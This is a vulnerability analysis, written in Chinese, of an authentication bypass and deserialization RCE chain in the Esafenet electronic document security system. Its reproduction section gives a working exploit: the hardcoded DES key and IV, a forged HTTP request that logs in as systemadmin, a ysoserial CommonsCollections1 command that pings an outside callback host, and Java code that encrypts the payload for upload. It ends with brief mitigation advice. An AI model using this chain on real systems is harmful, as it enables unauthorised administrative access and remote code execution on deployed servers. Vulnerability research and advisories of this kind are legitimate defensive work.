亿赛通LinkFilterService权限绕过到后台rce漏洞分析
字数 1293 2025-08-23 18:31:09
亿赛通LinkFilterService权限绕过到后台RCE漏洞分析
漏洞概述
2023年12月,亿赛通电子文档安全管理系统旧版本被披露存在权限绕过与远程代码执行漏洞。攻击者可通过构造恶意请求绕过身份认证,结合相关功能实现远程代码执行。
漏洞分析
1. LinkFilterService权限绕过
1.1 接口定位
通过web.xml定位到关键接口:
<servlet-class>com.esafenet.filter.LinkFilter</servlet-class>
1.2 核心逻辑分析
LinkFilter类的service方法处理三个关键参数:
path:请求路径userId:用户IDcur:时间参数
关键代码流程:
-
首先检查
path参数是否包含/client/AppExamList.jsp?username=:- 如果不存在,则获取username值并进行
CDGUtil.encode加密 - 生成sId并调用
buildLinkURL构造302跳转URL
- 如果不存在,则获取username值并进行
-
buildLinkURL函数构造的URL格式:http://host:port/CDGServer3/client/AppExamList.jsp;jsessionid=sid?username=xxx- 该过程无用户认证检查
-
对
cur参数的处理:- 解密并转换为时间
- 调用
isOverTime检查是否超时(默认超时时间为600秒) - 如果未超时,继续执行
-
对
userId参数的处理:- 调用
userDao.findUserById查询用户 - SQL语句为:
select * from WF_USER where USER_NAME = ? - 如果用户存在,生成LoginMng用户凭证并存入session
- 调用
1.3 权限绕过要点
攻击者可控制以下参数:
path:设置为后台路径如/frame.jspcur:设置为未来时间(如2099年)以避免超时userId:设置为存在的用户名(如systemadmin)
2. 后台RCE漏洞
2.1 漏洞接口
/importPolicy.do文件上传接口存在反序列化漏洞:
- 获取上传文件流
- 使用
CDGUtil.encode加密数据 - 将密文传入
byteToObject进行反序列化
2.2 加密方式分析
CDGUtil.encode使用DES/CBC/PKCS5Padding模式加密:
- Key:
esafenet - IV:
esafenet
2.3 利用流程
- 生成恶意序列化对象(使用CommonsCollections1链)
- 使用相同加密方式加密序列化数据
- 通过
/importPolicy.do接口上传加密后的文件
漏洞复现
1. 权限绕过复现
-
准备参数:
System.out.println("userid: " + encode("systemadmin")); System.out.println("cur: " + encode("2099-11-11 12:12:12")); System.out.println("path: " + encode("/frame.jsp")); -
构造请求:
POST /CDGServer3/LinkFilterService HTTP/1.1 Host: target path=BOFGGPFBFIFPBHFMGKGi userId=GCGHGAGGFAFHFGFCFEFPFD cur=KKPCJHNBBFBFFHOFBKENGDGFNGIBLBLBCJCPCP
2. RCE复现
-
生成CC1链payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 'ping zkilvkinpf.dgrh3.cn' > cc1.ser -
加密payload(示例Java代码):
public class CDGdecode { public static void main(String[] args) throws Exception { byte[] bytes = desEncrypt("/Users/cc1.ser"); File file = new File("1.txt"); FileOutputStream fileOutputStream = new FileOutputStream(file); fileOutputStream.write(bytes); } public static byte[] desEncrypt(String filepath) throws Exception { File file = new File(filepath); byte[] filebyte = new byte[(int) file.length()]; FileInputStream fileInputStream = new FileInputStream(file); fileInputStream.read(filebyte); Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding"); DESKeySpec dks = new DESKeySpec("esafenet".getBytes()); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); SecretKey securekey = keyFactory.generateSecret(dks); IvParameterSpec iv = new IvParameterSpec("esafenet".getBytes()); cipher.init(Cipher.ENCRYPT_MODE, securekey, iv); return cipher.doFinal(filebyte); } } -
上传加密后的文件到
/importPolicy.do接口
防护建议
- 升级到最新版本
- 对
LinkFilterService接口增加严格的权限验证 - 禁用或限制
/importPolicy.do接口的访问 - 更新依赖库,修复已知的反序列化漏洞
- 修改默认加密密钥和IV
总结
该漏洞链展示了从权限绕过到远程代码执行的完整攻击路径,利用亿赛通系统的多个设计缺陷,包括不充分的权限检查、可预测的加密机制和危险的反序列化操作。